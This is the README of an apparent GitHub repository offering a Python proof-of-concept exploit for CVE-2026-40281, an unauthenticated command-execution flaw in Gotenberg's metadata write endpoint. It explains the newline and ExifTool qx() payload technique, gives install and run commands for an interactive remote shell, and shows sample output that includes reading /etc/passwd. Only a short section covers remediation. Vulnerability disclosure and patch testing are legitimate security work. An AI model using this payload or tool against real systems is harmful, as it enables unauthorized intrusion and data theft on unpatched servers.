
Python proof-of-concept exploit for CVE-2026-40281, an unauthenticated argument injection RCE in Gotenberg <= 8.30.1, with interactive shell and single-command execution.
Gotenberg Logo
Gotenberg is a Docker-powered stateless API for converting documents to PDF. It exposes a /forms/pdfengines/metadata/write endpoint that allows writing metadata into PDF files.
This repository contains a proof-of-concept exploit for CVE-2026-40281, a critical argument injection vulnerability in Gotenberg versions 8.30.1 and earlier. The flaw allows an unauthenticated attacker to execute arbitrary operating system commands on the Gotenberg container through a single HTTP request.
🚨 Note: The vulnerability was disclosed on May 6, 2026, and assigned a CVSS score of 9.1 (NVD) / 10.0 (GitHub Advisory). It is a bypass of the incomplete key-sanitization fix introduced in v8.30.1 (commit
405f106).
Gotenberg's metadata write endpoint validates metadata keys for control characters but leaves metadata values unvalidated. When metadata is passed to ExifTool, a newline character inside a metadata value splits the ExifTool stdin line into two separate arguments. This allows an attacker to inject arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink.
Furthermore, by injecting an advanced formatting expression using qx() (Perl's quote-execute operator), an attacker can execute arbitrary OS commands and read the output from the returned PDF.
POST request to /forms/pdfengines/metadata/write with a PDF file and a metadata JSON payload.Title metadata value contains a literal newline followed by an ExifTool advanced formatting expression: -Title<${PDFVersion;$_=qx(COMMAND)}>.qx() command.| Component | Affected | Fixed |
|---|---|---|
github.com/gotenberg/gotenberg/v8 | < v8.31.0 | v8.31.0 |
github.com/gotenberg/gotenberg/v7 | All versions | — |
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Confidentiality (C) | None (N) |
| Integrity (I) | High (H) |
| Availability (A) | High (H) |
| Base Score | 9.1 (Critical) |
pip package managergit clone https://github.com/0xgh057r3c0n/CVE-2026-40281.git
cd CVE-2026-40281
Option A — Using requirements.txt (recommended):
pip install -r requirements.txt
Option B — Manual installation:
pip install requests urllib3 colorama
python3 CVE-2026-40281.py --help
You should see the banner and usage information.
The exploit supports two modes: automatic detection + interactive shell, and single command execution.
If the target is vulnerable, the tool automatically drops into an interactive shell:
python3 CVE-2026-40281.py -u http://target:3000
_____________ _______________ _______________ ________ ________ _____ _______ ________ ______ ____
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | \ _ \ \_____ \ / __ \/_ |
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_/ /_\ \ / ____/ > < | |
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ /\ \_/ \/ \/ -- \| |
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ | \_____ /\_______ \______ /|___|
\/ \/ \/ \/ \/ \/ |__| \/ \/ \/
Gotenberg <= 8.30.1 unauthenticated RCE
Author: 0xgh057r3c0n
[*] Target : http://target:3000/forms/pdfengines/metadata/write
[*] Checking target ...
[*] Vulnerable. Running as: uid=1000(gotenberg) gid=1000(gotenberg) groups=1000(gotenberg)
[*] Dropping into interactive shell (type 'exit' to quit)
┌─[target:3000@0xgh057r3c0n]─[~]
└──╼ $id
uid=1000(gotenberg) gid=1000(gotenberg) groups=1000(gotenberg)
┌─[target:3000@0xgh057r3c0n]─[~]
└──╼ $uname -a
Linux 3f9a1c7b2d10 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 GNU/Linux
┌─[target:3000@0xgh057r3c0n]─[~]
└──╼ $exit
python3 CVE-2026-40281.py -u https://target:3000 --cmd "cat /etc/passwd"
┌─[target:3000@0xgh057r3c0n]─[~]
└──╼ $cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
gotenberg:x:1000:1000::/home/gotenberg:/bin/bash
🔒 SSL Notice: Certificate verification is disabled by default (
verify=False) to support self-signed certificates commonly found in internal deployments.
| Flag | Description |
|---|---|
-u, --url | Target base URL (required). Supports http:// and https://. |
--cmd | Execute a single command and exit (skips interactive shell). |
Upgrade to Gotenberg v8.31.0 or later, which validates metadata values in addition to metadata keys.
docker pull gotenberg/gotenberg:8.31.0
\n, \r) in multipart metadata fields.CVE-2026-40281/
├── CVE-2026-40281.py # 🐍 Exploit script
├── CVE-2026-40281.yaml # 🎯 Nuclei template
├── requirements.txt # 📦 Python dependencies
├── LICENSE # 📄 MIT License
└── README.md # 📖 This file